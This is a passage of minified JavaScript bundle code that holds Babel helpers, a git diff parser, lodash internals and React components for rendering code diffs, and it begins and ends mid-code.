o,c,l={},f=Object.keys(i);for(c=0;c<f.length;c++)o=f[c],u.indexOf(o)>=0||(l[o]=i[o]);return l})(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(s[n]=e[n])}return s}function z(e,t){return ma(e)||(function(n,r){var s=n==null?null:typeof Symbol<"u"&&n[Symbol.iterator]||n["@@iterator"];if(s!=null){var a,i,u,o,c=[],l=!0,f=!1;try{if(u=(s=s.call(n)).next,r===0){if(Object(s)!==s)return;l=!1}else for(;!(l=(a=u.call(s)).done)&&(c.push(a.value),c.length!==r);l=!0);}catch(h){f=!0,i=h}finally{try{if(!l&&s.return!=null&&(o=s.return(),Object(o)!==o))return}finally{if(f)throw i}}return c}})(e,t)||yn(e,t)||va()}function ga(e){return(function(t){if(Array.isArray(t))return rn(t)})(e)||pa(e)||yn(e)||(function(){throw new TypeError(`Invalid attempt to spread non-iterable instance.
-In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)})()}function ma(e){if(Array.isArray(e))return e}function pa(e){if(typeof Symbol<"u"&&e[Symbol.iterator]!=null||e["@@iterator"]!=null)return Array.from(e)}function yn(e,t){if(e){if(typeof e=="string")return rn(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return n==="Object"&&e.constructor&&(n=e.constructor.name),n==="Map"||n==="Set"?Array.from(e):n==="Arguments"||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?rn(e,t):void 0}}function rn(e,t){(t==null||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function va(){throw new TypeError(`Invalid attempt to destructure non-iterable instance.
-In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function ba(e,t){var n=typeof Symbol<"u"&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=yn(e))||t){n&&(e=n);var r=0,s=function(){};return{s,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(o){throw o},f:s}}throw new TypeError(`Invalid attempt to iterate non-iterable instance.
-In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}var a,i=!0,u=!1;return{s:function(){n=n.call(e)},n:function(){var o=n.next();return i=o.done,o},e:function(o){u=!0,a=o},f:function(){try{i||n.return==null||n.return()}finally{if(u)throw a}}}}var Te=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function je(e,t){return e(t={exports:{}},t.exports),t.exports}var L=je((function(e){(function(){var t={}.hasOwnProperty;function n(){for(var r=[],s=0;s<arguments.length;s++){var a=arguments[s];if(a){var i=typeof a;if(i==="string"||i==="number")r.push(a);else if(Array.isArray(a)){if(a.length){var u=n.apply(null,a);u&&r.push(u)}}else if(i==="object"){if(a.toString!==Object.prototype.toString&&!a.toString.toString().includes("[native code]")){r.push(a.toString());continue}for(var o in a)t.call(a,o)&&a[o]&&r.push(o)}}}return r.join(" ")}e.exports?(n.default=n,e.exports=n):window.classNames=n})()})),F={hunkClassName:"",lineClassName:"",gutterClassName:"",codeClassName:"",monotonous:!1,gutterType:"default",viewType:"split",widgets:{},hideGutter:!1,selectedChanges:[],generateAnchorID:function(){},generateLineClassName:function(){},renderGutter:function(e){var t=e.renderDefault;return(0,e.wrapInAnchor)(t())},codeEvents:{},gutterEvents:{}},Bt=A.createContext(F),ya=Bt.Provider,_a=function(){return A.useContext(Bt)},wa=je((function(e,t){(function(n){function r(a){var i=a.slice(11),u=null,o=null;switch(i.indexOf('"')){case-1:u=(f=i.split(" "))[0].slice(2),o=f[1].slice(2);break;case 0:var c=i.indexOf('"',2);u=i.slice(3,c);var l=i.indexOf('"',c+1);o=l<0?i.slice(c+4):i.slice(l+3,-1);break;default:var f;u=(f=i.split(" "))[0].slice(2),o=f[1].slice(3,-1)}return{oldPath:u,newPath:o}}var s={parse:function(a){for(var i,u,o,c,l,f=[],h=2,g=a.split(`
-`),m=g.length,p=0;p<m;){var v=g[p];if(v.indexOf("diff --git")===0){i={hunks:[],oldEndingNewLine:!0,newEndingNewLine:!0,oldPath:(l=r(v)).oldPath,newPath:l.newPath},f.push(i);var y,_=null;e:for(;y=g[++p];){var b=y.indexOf(" "),k=b>-1?y.slice(0,b):k;switch(k){case"diff":p--;break e;case"deleted":case"new":var S=y.slice(b+1);S.indexOf("file mode")===0&&(i[k==="new"?"newMode":"oldMode"]=S.slice(10));break;case"similarity":i.similarity=parseInt(y.split(" ")[2],10);break;case"index":var j=y.slice(b+1).split(" "),N=j[0].split("..");i.oldRevision=N[0],i.newRevision=N[1],j[1]&&(i.oldMode=i.newMode=j[1]);break;case"copy":case"rename":var I=y.slice(b+1);I.indexOf("from")===0?i.oldPath=I.slice(5):i.newPath=I.slice(3),_=k;break;case"---":var C=y.slice(b+1),E=g[++p].slice(4);C==="/dev/null"?(E=E.slice(2),_="add"):E==="/dev/null"?(C=C.slice(2),_="delete"):(_="modify",C=C.slice(2),E=E.slice(2)),C&&(i.oldPath=C),E&&(i.newPath=E),h=5;break e}}i.type=_||"modify"}else if(v.indexOf("Binary")===0)i.isBinary=!0,i.type=v.indexOf("/dev/null and")>=0?"add":v.indexOf("and /dev/null")>=0?"delete":"modify",h=2,i=null;else if(h===5)if(v.indexOf("@@")===0){var D=/^@@\s+-([0-9]+)(,([0-9]+))?\s+\+([0-9]+)(,([0-9]+))?/.exec(v);u={content:v,oldStart:D[1]-0,newStart:D[4]-0,oldLines:D[3]-0||1,newLines:D[6]-0||1,changes:[]},i.hunks.push(u),o=u.oldStart,c=u.newStart}else{var B=v.slice(0,1),M={content:v.slice(1)};switch(B){case"+":M.type="insert",M.isInsert=!0,M.lineNumber=c,c++;break;case"-":M.type="delete",M.isDelete=!0,M.lineNumber=o,o++;break;case" ":M.type="normal",M.isNormal=!0,M.oldLineNumber=o,M.newLineNumber=c,o++,c++;break;case"\\":var P=u.changes[u.changes.length-1];P.isDelete||(i.newEndingNewLine=!1),P.isInsert||(i.oldEndingNewLine=!1)}M.type&&u.changes.push(M)}p++}return f}};e.exports=s})()}));function Ie(e){return e.type==="insert"}function Y(e){return e.type==="delete"}function ye(e){return e.type==="normal"}function ka(e,t){var n=t.nearbySequences==="zip"?(function(r){var s=r.reduce((function(a,i,u){var o=z(a,3),c=o[0],l=o[1],f=o[2];return l?Ie(i)&&f>=0?(c.splice(f+1,0,i),[c,i,f+2]):(c.push(i),[c,i,Y(i)&&Y(l)?f:u]):(c.push(i),[c,i,Y(i)?u:-1])}),[[],null,-1]);return z(s,1)[0]})(e.changes):e.changes;return $($({},e),{},{isPlain:!1,changes:n})}function Sa(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},n=(function(r){if(r.startsWith("diff --git"))return r;var s=r.indexOf(`
-`),a=r.indexOf(`
-`,s+1),i=r.slice(0,s),u=r.slice(s+1,a),o=i.split(" ").slice(1,-3).join(" "),c=u.split(" ").slice(1,-3).join(" ");return["diff --git a/".concat(o," b/").concat(c),"index 1111111..2222222 100644","--- a/".concat(o),"+++ b/".concat(c),r.slice(a+1)].join(`
-`)})(e.trimStart());return wa.parse(n).map((function(r){return(function(s,a){var i=s.hunks.map((function(u){return ka(u,a)}));return $($({},s),{},{hunks:i})})(r,t)}))}function Na(e){return e[0]}function ja(e){return e[e.length-1]}function sn(e){return["".concat(e,"Start"),"".concat(e,"Lines")]}function _e(e){return e==="old"?function(t){return Ie(t)?-1:ye(t)?t.oldLineNumber:t.lineNumber}:function(t){return Y(t)?-1:ye(t)?t.newLineNumber:t.lineNumber}}function Gt(e,t){return function(n,r){var s=n[e],a=s+n[t];return r>=s&&r<a}}function Ia(e,t){return function(n,r,s){var a=n[e]+n[t],i=r[e];return s>=a&&s<i}}function Lt(e){var t=_e(e),n=(function(r){var s=z(sn(r),2),a=Gt(s[0],s[1]);return function(i,u){return i.find((function(o){return a(o,u)}))}})(e);return function(r,s){var a=n(r,s);if(a)return a.changes.find((function(i){return t(i)===s}))}}function _n(e){var t=e==="old"?"new":"old",n=z(sn(e),2),r=n[0],s=n[1],a=z(sn(t),2),i=a[0],u=a[1],o=_e(e),c=_e(t),l=Gt(r,s),f=Ia(r,s);return function(h,g){var m=Na(h);if(g<m[r]){var p=m[r]-g;return m[i]-p}var v=ja(h);if(v[r]+v[s]<=g){var y=g-v[r]-v[s];return v[i]+v[u]+y}for(var _=0;_<h.length;_++){var b=h[_],k=h[_+1];if(l(b,g)){var S=b.changes.findIndex((function(D){return o(D)===g})),j=b.changes[S];if(ye(j))return c(j);var N=Y(j)?S+1:S-1,I=b.changes[N];if(!I)return-1;var C=Ie(j)?"delete":"insert";return I.type===C?c(I):-1}if(f(b,k,g)){var E=g-b[r]-b[s];return b[i]+b[u]+E}}throw new Error("Unexpected line position ".concat(g))}}var Ca=function(){this.__data__=[],this.size=0},zt=function(e,t){return e===t||e!=e&&t!=t},He=function(e,t){for(var n=e.length;n--;)if(zt(e[n][0],t))return n;return-1},Aa=Array.prototype.splice,Ea=function(e){var t=this.__data__,n=He(t,e);return!(n<0)&&(n==t.length-1?t.pop():Aa.call(t,n,1),--this.size,!0)},Da=function(e){var t=this.__data__,n=He(t,e);return n<0?void 0:t[n][1]},Ta=function(e){return He(this.__data__,e)>-1},Ra=function(e,t){var n=this.__data__,r=He(n,e);return r<0?(++this.size,n.push([e,t])):n[r][1]=t,this};function ue(e){var t=-1,n=e==null?0:e.length;for(this.clear();++t<n;){var r=e[t];this.set(r[0],r[1])}}ue.prototype.clear=Ca,ue.prototype.delete=Ea,ue.prototype.get=Da,ue.prototype.has=Ta,ue.prototype.set=Ra;var Ve=ue,Ma=function(){this.__data__=new Ve,this.size=0},Oa=function(e){var t=this.__data__,n=t.delete(e);return this.size=t.size,n},$a=function(e){return this.__data__.get(e)},Pa=function(e){return this.__data__.has(e)},Kt=typeof Te=="object"&&Te&&Te.Object===Object&&Te,Fa=typeof self=="object"&&self&&self.Object===Object&&self,Z=Kt||Fa||Function("return this")(),K=Z.Symbol,Ut=Object.prototype,xa=Ut.hasOwnProperty,Ba=Ut.toString,be=K?K.toStringTag:void 0,Ga=function(e){var t=xa.call(e,be),n=e[be];try{e[be]=void 0;var r=!0}catch{}var s=Ba.call(e);return r&&(t?e[be]=n:delete e[be]),s},La=Object.prototype.toString,za=function(e){return La.call(e)},Jn=K?K.toStringTag:void 0,me=function(e){return e==null?e===void 0?"[object Undefined]":"[object Null]":Jn&&Jn in Object(e)?Ga(e):za(e)},wn=function(e){var t=typeof e;return e!=null&&(t=="object"||t=="function")},Ht=function(e){if(!wn(e))return!1;var t=me(e);return t=="[object Function]"||t=="[object GeneratorFunction]"||t=="[object AsyncFunction]"||t=="[object Proxy]"},Qe=Z["__core-js_shared__"],Yn=(function(){var e=/[^.]+$/.exec(Qe&&Qe.keys&&Qe.keys.IE_PROTO||"");return e?"Symbol(src)_1."+e:""})(),Ka=function(e){return!!Yn&&Yn in e},Ua=Function.prototype.toString,re=function(e){if(e!=null){try{return Ua.call(e)}catch{}try{return e+""}catch{}}return""},Ha=/^\[object .+?Constructor\]$/,Va=Function.prototype,Wa=Object.prototype,Za=Va.toString,Xa=Wa.hasOwnProperty,Ja=RegExp("^"+Za.call(Xa).replace(/[\\^$.*+?()[\]{}|]/g,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$"),Ya=function(e){return!(!wn(e)||Ka(e))&&(Ht(e)?Ja:Ha).test(re(e))},Qa=function(e,t){return e?.[t]},se=function(e,t){var n=Qa(e,t);return Ya(n)?n:void 0},we=se(Z,"Map"),ke=se(Object,"create"),qa=function(){this.__data__=ke?ke(null):{},this.size=0},ei=function(e){var t=this.has(e)&&delete this.__data__[e];return this.size-=t?1:0,t},ni=Object.prototype.hasOwnProperty,ti=function(e){var t=this.__data__;if(ke){var n=t[e];return n==="__lodash_hash_undefined__"?void 0:n}return ni.call(t,e)?t[e]:void 0},ri=Object.prototype.hasOwnProperty,si=function(e){var t=this.__data__;return ke?t[e]!==void 0:ri.call(t,e)},ai=function(e,t){var n=this.__data__;return this.size+=this.has(e)?0:1,n[e]=ke&&t===void 0?"__lodash_hash_undefined__":t,this};function ce(e){var t=-1,n=e==null?0:e.length;for(this.clear();++t<n;){var r=e[t];this.set(r[0],r[1])}}ce.prototype.clear=qa,ce.prototype.delete=ei,ce.prototype.get=ti,ce.prototype.has=si,ce.prototype.set=ai;var Qn=ce,ii=function(){this.size=0,this.__data__={hash:new Qn,map:new(we||Ve),string:new Qn}},oi=function(e){var t=typeof e;return t=="string"||t=="number"||t=="symbol"||t=="boolean"?e!=="__proto__":e===null},We=function(e,t){var n=e.__data__;return oi(t)?n[typeof t=="string"?"string":"hash"]:n.map},ui=function(e){var t=We(this,e).delete(e);return this.size-=t?1:0,t},ci=function(e){return We(this,e).get(e)},li=function(e){return We(this,e).has(e)},fi=function(e,t){var n=We(this,e),r=n.size;return n.set(e,t),this.size+=n.size==r?0:1,this};function le(e){var t=-1,n=e==null?0:e.length;for(this.clear();++t<n;){var r=e[t];this.set(r[0],r[1])}}le.prototype.clear=ii,le.prototype.delete=ui,le.prototype.get=ci,le.prototype.has=li,le.prototype.set=fi;var Ze=le,di=function(e,t){var n=this.__data__;if(n instanceof Ve){var r=n.__data__;if(!we||r.length<199)return r.push([e,t]),this.size=++n.size,this;n=this.__data__=new Ze(r)}return n.set(e,t),this.size=n.size,this};function fe(e){var t=this.__data__=new Ve(e);this.size=t.size}fe.prototype.clear=Ma,fe.prototype.delete=Oa,fe.prototype.get=$a,fe.prototype.has=Pa,fe.prototype.set=di;var Pe=fe,hi=function(e){return this.__data__.set(e,"__lodash_hash_undefined__"),this},gi=function(e){return this.__data__.has(e)};function Fe(e){var t=-1,n=e==null?0:e.length;for(this.__data__=new Ze;++t<n;)this.add(e[t])}Fe.prototype.add=Fe.prototype.push=hi,Fe.prototype.has=gi;var mi=Fe,pi=function(e,t){for(var n=-1,r=e==null?0:e.length;++n<r;)if(t(e[n],n,e))return!0;return!1},vi=function(e,t){return e.has(t)},Vt=function(e,t,n,r,s,a){var i=1&n,u=e.length,o=t.length;if(u!=o&&!(i&&o>u))return!1;var c=a.get(e),l=a.get(t);if(c&&l)return c==t&&l==e;var f=-1,h=!0,g=2&n?new mi:void 0;for(a.set(e,t),a.set(t,e);++f<u;){var m=e[f],p=t[f];if(r)var v=i?r(p,m,f,t,e,a):r(m,p,f,e,t,a);if(v!==void 0){if(v)continue;h=!1;break}if(g){if(!pi(t,(function(y,_){if(!vi(g,_)&&(m===y||s(m,y,n,r,a)))return g.push(_)}))){h=!1;break}}else if(m!==p&&!s(m,p,n,r,a)){h=!1;break}}return a.delete(e),a.delete(t),h},qn=Z.Uint8Array,bi=function(e){var t=-1,n=Array(e.size);return e.forEach((function(r,s){n[++t]=[s,r]})),n},yi=function(e){var t=-1,n=Array(e.size);return e.forEach((function(r){n[++t]=r})),n},et=K?K.prototype:void 0,qe=et?et.valueOf:void 0,_i=function(e,t,n,r,s,a,i){switch(n){case"[object DataView]":if(e.byteLength!=t.byteLength||e.byteOffset!=t.byteOffset)return!1;e=e.buffer,t=t.buffer;case"[object ArrayBuffer]":return!(e.byteLength!=t.byteLength||!a(new qn(e),new qn(t)));case"[object Boolean]":case"[object Date]":case"[object Number]":return zt(+e,+t);case"[object Error]":return e.name==t.name&&e.message==t.message;case"[object RegExp]":case"[object String]":return e==t+"";case"[object Map]":var u=bi;case"[object Set]":var o=1&r;if(u||(u=yi),e.size!=t.size&&!o)return!1;var c=i.get(e);if(c)return c==t;r|=2,i.set(e,t);var l=Vt(u(e),u(t),r,s,a,i);return i.delete(e),l;case"[object Symbol]":if(qe)return qe.call(e)==qe.call(t)}return!1},wi=function(e,t){for(var n=-1,r=t.length,s=e.length;++n<r;)e[s+n]=t[n];return e},W=Array.isArray,ki=function(e,t,n){var r=t(e);return W(e)?r:wi(r,n(e))},Si=function(e,t){for(var n=-1,r=e==null?0:e.length,s=0,a=[];++n<r;){var i=e[n];t(i,n,e)&&(a[s++]=i)}return a},Ni=function(){return[]},ji=Object.prototype.propertyIsEnumerable,nt=Object.getOwnPropertySymbols,Ii=nt?function(e){return e==null?[]:(e=Object(e),Si(nt(e),(function(t){return ji.call(e,t)})))}:Ni,Ci=function(e,t){for(var n=-1,r=Array(e);++n<e;)r[n]=t(n);return r},ge=function(e){return e!=null&&typeof e=="object"},tt=function(e){return ge(e)&&me(e)=="[object Arguments]"},Wt=Object.prototype,Ai=Wt.hasOwnProperty,Ei=Wt.propertyIsEnumerable,Zt=tt((function(){return arguments})())?tt:function(e){return ge(e)&&Ai.call(e,"callee")&&!Ei.call(e,"callee")},Di=function(){return!1},an=je((function(e,t){var n=t&&!t.nodeType&&t,r=n&&e&&!e.nodeType&&e,s=r&&r.exports===n?Z.Buffer:void 0,a=(s?s.isBuffer:void 0)||Di;e.exports=a})),Ti=/^(?:0|[1-9]\d*)$/,Xt=function(e,t){var n=typeof e;return!!(t=t??9007199254740991)&&(n=="number"||n!="symbol"&&Ti.test(e))&&e>-1&&e%1==0&&e<t},kn=function(e){return typeof e=="number"&&e>-1&&e%1==0&&e<=9007199254740991},R={};R["[object Float32Array]"]=R["[object Float64Array]"]=R["[object Int8Array]"]=R["[object Int16Array]"]=R["[object Int32Array]"]=R["[object Uint8Array]"]=R["[object Uint8ClampedArray]"]=R["[object Uint16Array]"]=R["[object Uint32Array]"]=!0,R["[object Arguments]"]=R["[object Array]"]=R["[object ArrayBuffer]"]=R["[object Boolean]"]=R["[object DataView]"]=R["[object Date]"]=R["[object Error]"]=R["[object Function]"]=R["[object Map]"]=R["[object Number]"]=R["[object Object]"]=R["[object RegExp]"]=R["[object Set]"]=R["[object String]"]=R["[object WeakMap]"]=!1;var Ri=function(e){return ge(e)&&kn(e.length)&&!!R[me(e)]},Mi=function(e){return function(t){return e(t)}},rt=je((function(e,t){var n=t&&!t.nodeType&&t,r=n&&e&&!e.nodeType&&e,s=r&&r.exports===n&&Kt.process,a=(function(){try{var i=r&&r.require&&r.require("util").types;return i||s&&s.binding&&s.binding("util")}catch{}})();e.exports=a})),st=rt&&rt.isTypedArray,Jt=st?Mi(st):Ri,Oi=Object.prototype.hasOwnProperty,$i=function(e,t){var n=W(e),r=!n&&Zt(e),s=!n&&!r&&an(e),a=!n&&!r&&!s&&Jt(e),i=n||r||s||a,u=i?Ci(e.length,String):[],o=u.length;for(var c in e)!Oi.call(e,c)||i&&(c=="length"||s&&(c=="offset"||c=="parent")||a&&(c=="buffer"||c=="byteLength"||c=="byteOffset")||Xt(c,o))||u.push(c);return u},Pi=Object.prototype,Fi=function(e){var t=e&&e.constructor;return e===(typeof t=="function"&&t.prototype||Pi)},xi=(function(e,t){return function(n){return e(t(n))}})(Object.keys,Object),Bi=Object.prototype.hasOwnProperty,Gi=function(e){if(!Fi(e))return xi(e);var t=[];for(var n in Object(e))Bi.call(e,n)&&n!="constructor"&&t.push(n);return t},Li=function(e){return e!=null&&kn(e.length)&&!Ht(e)},Sn=function(e){return Li(e)?$i(e):Gi(e)},at=function(e){return ki(e,Sn,Ii)},zi=Object.prototype.hasOwnProperty,Ki=function(e,t,n,r,s,a){var i=1&n,u=at(e),o=u.length;if(o!=at(t).length&&!i)return!1;for(var c=o;c--;){var l=u[c];if(!(i?l in t:zi.call(t,l)))return!1}var f=a.get(e),h=a.get(t);if(f&&h)return f==t&&h==e;var g=!0;a.set(e,t),a.set(t,e);for(var m=i;++c<o;){var p=e[l=u[c]],v=t[l];if(r)var y=i?r(v,p,l,t,e,a):r(p,v,l,e,t,a);if(!(y===void 0?p===v||s(p,v,n,r,a):y)){g=!1;break}m||(m=l=="constructor")}if(g&&!m){var _=e.constructor,b=t.constructor;_==b||!("constructor"in e)||!("constructor"in t)||typeof _=="function"&&_ instanceof _&&typeof b=="function"&&b instanceof b||(g=!1)}return a.delete(e),a.delete(t),g},on=se(Z,"DataView"),un=se(Z,"Promise"),cn=se(Z,"Set"),ln=se(Z,"WeakMap"),Ui=re(on),Hi=re(we),Vi=re(un),Wi=re(cn),Zi=re(ln),te=me;(on&&te(new on(new ArrayBuffer(1)))!="[object DataView]"||we&&te(new we)!="[object Map]"||un&&te(un.resolve())!="[object Promise]"||cn&&te(new cn)!="[object Set]"||ln&&te(new ln)!="[object WeakMap]")&&(te=function(e){var t=me(e),n=t=="[object Object]"?e.constructor:void 0,r=n?re(n):"";if(r)switch(r){case Ui:return"[object DataView]";case Hi:return"[object Map]";case Vi:return"[object Promise]";case Wi:return"[object Set]";case Zi:return"[object WeakMap]"}return t});var it=te,Re="[object Object]",ot=Object.prototype.hasOwnProperty,Xi=function(e,t,n,r,s,a){var i=W(e),u=W(t),o=i?"[object Array]":it(e),c=u?"[object Array]":it(t),l=(o=o=="[object Arguments]"?Re:o)==Re,f=(c=c=="[object Arguments]"?Re:c)==Re,h=o==c;if(h&&an(e)){if(!an(t))return!1;i=!0,l=!1}if(h&&!l)return a||(a=new Pe),i||Jt(e)?Vt(e,t,n,r,s,a):_i(e,t,o,n,r,s,a);if(!(1&n)){var g=l&&ot.call(e,"__wrapped__"),m=f&&ot.call(t,"__wrapped__");if(g||m){var p=g?e.value():e,v=m?t.value():t;return a||(a=new Pe),s(p,v,n,r,a)}}return!!h&&(a||(a=new Pe),Ki(e,t,n,r,s,a))},Yt=function e(t,n,r,s,a){return t===n||(t==null||n==null||!ge(t)&&!ge(n)?t!=t&&n!=n:Xi(t,n,r,s,e,a))},Ji=function(e,t,n,r){var s=n.length,a=s;if(e==null)return!a;for(e=Object(e);s--;){var i=n[s];if(i[2]?i[1]!==e[i[0]]:!(i[0]in e))return!1}for(;++s<a;){var u=(i=n[s])[0],o=e[u],c=i[1];if(i[2]){if(o===void 0&&!(u in e))return!1}else{var l=new Pe,f;if(!(f===void 0?Yt(c,o,3,r,l):f))return!1}}return!0},Qt=function(e){return e==e&&!wn(e)},Yi=function(e){for(var t=Sn(e),n=t.length;n--;){var r=t[n],s=e[r];t[n]=[r,s,Qt(s)]}return t},qt=function(e,t){return function(n){return n!=null&&n[e]===t&&(t!==void 0||e in Object(n))}},Qi=function(e){var t=Yi(e);return t.length==1&&t[0][2]?qt(t[0][0],t[0][1]):function(n){return n===e||Ji(n,e,t)}},Nn=function(e){return typeof e=="symbol"||ge(e)&&me(e)=="[object Symbol]"},qi=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,eo=/^\w*$/,jn=function(e,t){if(W(e))return!1;var n=typeof e;return!(n!="number"&&n!="symbol"&&n!="boolean"&&e!=null&&!Nn(e))||eo.test(e)||!qi.test(e)||t!=null&&e in Object(t)};function In(e,t){if(typeof e!="function"||t!=null&&typeof t!="function")throw new TypeError("Expected a function");var n=function(){var r=arguments,s=t?t.apply(this,r):r[0],a=n.cache;if(a.has(s))return a.get(s);var i=e.apply(this,r);return n.cache=a.set(s,i)||a,i};return n.cache=new(In.Cache||Ze),n}In.Cache=Ze;var no=In,to=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,ro=/\\(\\)?/g,so=(function(e){var t=no(e,(function(r){return n.size===500&&n.clear(),r})),n=t.cache;return t})((function(e){var t=[];return e.charCodeAt(0)===46&&t.push(""),e.replace(to,(function(n,r,s,a){t.push(s?a.replace(ro,"$1"):r||n)})),t})),ao=function(e,t){for(var n=-1,r=e==null?0:e.length,s=Array(r);++n<r;)s[n]=t(e[n],n,e);return s},ut=K?K.prototype:void 0,ct=ut?ut.toString:void 0,io=function e(t){if(typeof t=="string")return t;if(W(t))return ao(t,e)+"";if(Nn(t))return ct?ct.call(t):"";var n=t+"";return n=="0"&&1/t==-1/0?"-0":n},oo=function(e){return e==null?"":io(e)},er=function(e,t){return W(e)?e:jn(e,t)?[e]:so(oo(e))},Xe=function(e){if(typeof e=="string"||Nn(e))return e;var t=e+"";return t=="0"&&1/e==-1/0?"-0":t},nr=function(e,t){for(var n=0,r=(t=er(t,e)).length;e!=null&&n<r;)e=e[Xe(t[n++])];return n&&n==r?e:void 0},uo=function(e,t,n){var r=e==null?void 0:nr(e,t);return r===void 0?n:r},co=function(e,t){return e!=null&&t in Object(e)},lo=function(e,t,n){for(var r=-1,s=(t=er(t,e)).length,a=!1;++r<s;){var i=Xe(t[r]);if(!(a=e!=null&&n(e,i)))break;e=e[i]}return a||++r!=s?a:!!(s=e==null?0:e.length)&&kn(s)&&Xt(i,s)&&(W(e)||Zt(e))},fo=function(e,t){return e!=null&&lo(e,t,co)},ho=function(e,t){return jn(e)&&Qt(t)?qt(Xe(e),t):function(n){var r=uo(n,e);return r===void 0&&r===t?fo(n,e):Yt(t,r,3)}},go=function(e){return e},mo=function(e){return function(t){return t?.[e]}},po=function(e){return function(t){return nr(t,e)}},vo=function(e){return jn(e)?mo(Xe(e)):po(e)},bo=function(e){return typeof e=="function"?e:e==null?go:typeof e=="object"?W(e)?ho(e[0],e[1]):Qi(e):vo(e)};function Q(e){if(!e)throw new Error("change is not provided");if(ye(e))return"N".concat(e.oldLineNumber);var t=Ie(e)?"I":"D";return"".concat(t).concat(e.lineNumber)}_n("old");var Cn=_e("old"),An=_e("new");Lt("old");Lt("new");_n("new");_n("old");var lt=(function(){try{var e=se(Object,"defineProperty");return e({},"",{}),e}catch{}})(),yo=function(e,t,n){t=="__proto__"&&lt?lt(e,t,{configurable:!0,enumerable:!0,value:n,writable:!0}):e[t]=n},_o=function(e){return function(t,n,r){for(var s=-1,a=Object(t),i=r(t),u=i.length;u--;){var o=i[++s];if(n(a[o],o,a)===!1)break}return t}},wo=_o(),ko=function(e,t){return e&&wo(e,t,Sn)},tr=function(e,t){var n={};return t=bo(t),ko(e,(function(r,s,a){yo(n,s,t(r,s,a))})),n},So=["changeKey","text","tokens","renderToken"],ft=function e(t,n){var r=t.type,s=t.value,a=t.markType,i=t.properties,u=t.className,o=t.children,c=function(f){return d.jsx("span",{className:f,children:s||o&&o.map(e)},n)};switch(r){case"text":return s;case"mark":return c("diff-code-mark diff-code-mark-".concat(a));case"edit":return c("diff-code-edit");default:var l=i&&i.className;return c(L(u||l))}};function No(e){if(!Array.isArray(e))return!0;if(e.length>1)return!1;if(e.length===1){var t=z(e,1)[0];return t.type==="text"&&!t.value}return!0}function jo(e){var t=e.changeKey,n=e.text,r=e.tokens,s=e.renderToken,a=he(e,So),i=s?function(u,o){return s(u,ft,o)}:ft;return d.jsx("td",$($({},a),{},{"data-change-key":t,children:r?No(r)?" ":r.map(i):n||" "}))}var rr=A.memo(jo);function sr(e,t){return function(){var n=t==="old"?Cn(e):An(e);return n===-1?void 0:n}}function ar(e,t){return function(n){return e&&n?d.jsx("a",{href:t?"#"+t:void 0,children:n}):n}}function Le(e,t){return t?function(n){e(),t(n)}:e}function dt(e,t,n,r){return A.useMemo((function(){var s=tr(e,(function(a){return function(i){return a&&a(t,i)}}));return s.onMouseEnter=Le(n,s.onMouseEnter),s.onMouseLeave=Le(r,s.onMouseLeave),s}),[e,n,r,t])}function ht(e,t,n,r,s,a,i,u,o){var c={change:t,side:r,inHoverState:u,renderDefault:sr(t,r),wrapInAnchor:ar(s,a)};return d.jsx("td",$($({className:e},i),{},{"data-change-key":n,children:o(c)}))}function Io(e){var t,n,r,s=e.change,a=e.selected,i=e.tokens,u=e.className,o=e.generateLineClassName,c=e.gutterClassName,l=e.codeClassName,f=e.gutterEvents,h=e.codeEvents,g=e.hideGutter,m=e.gutterAnchor,p=e.generateAnchorID,v=e.renderToken,y=e.renderGutter,_=s.type,b=s.content,k=Q(s),S=(t=z(A.useState(!1),2),n=t[0],r=t[1],[n,A.useCallback((function(){return r(!0)}),[]),A.useCallback((function(){return r(!1)}),[])]),j=z(S,3),N=j[0],I=j[1],C=j[2],E=A.useMemo((function(){return{change:s}}),[s]),D=dt(f,E,I,C),B=dt(h,E,I,C),M=p(s),P=o({changes:[s],defaultGenerate:function(){return u}}),G=L("diff-gutter","diff-gutter-".concat(_),c,{"diff-gutter-selected":a}),ae=L("diff-code","diff-code-".concat(_),l,{"diff-code-selected":a});return d.jsxs("tr",{id:M,className:L("diff-line",P),children:[!g&&ht(G,s,k,"old",m,M,D,N,y),!g&&ht(G,s,k,"new",m,M,D,N,y),d.jsx(rr,$({className:ae,changeKey:k,text:b,tokens:i,renderToken:v},B))]})}var Co=A.memo(Io);function Ao(e){var t=e.hideGutter,n=e.element;return d.jsx("tr",{className:"diff-widget",children:d.jsx("td",{colSpan:t?1:3,className:"diff-widget-content",children:n})})}var Eo=["hideGutter","selectedChanges","tokens","lineClassName"],Do=["hunk","widgets","className"];function To(e){var t=e.hunk,n=e.widgets,r=e.className,s=he(e,Do),a=(function(i,u){return i.reduce((function(o,c){var l=Q(c);o.push(["change",l,c]);var f=u[l];return f&&o.push(["widget",l,f]),o}),[])})(t.changes,n);return d.jsx("tbody",{className:L("diff-hunk",r),children:a.map((function(i){return(function(u,o){var c=z(u,3),l=c[0],f=c[1],h=c[2],g=o.hideGutter,m=o.selectedChanges,p=o.tokens,v=o.lineClassName,y=he(o,Eo);if(l==="change"){var _=Y(h)?"old":"new",b=Y(h)?Cn(h):An(h),k=p?p[_][b-1]:null;return d.jsx(Co,$({className:v,change:h,hideGutter:g,selected:m.includes(f),tokens:k},y),"change".concat(f))}return l==="widget"?d.jsx(Ao,{hideGutter:g,element:h},"widget".concat(f)):null})(i,s)}))})}var ir=0;function Me(e,t,n,r){var s=A.useCallback((function(){return 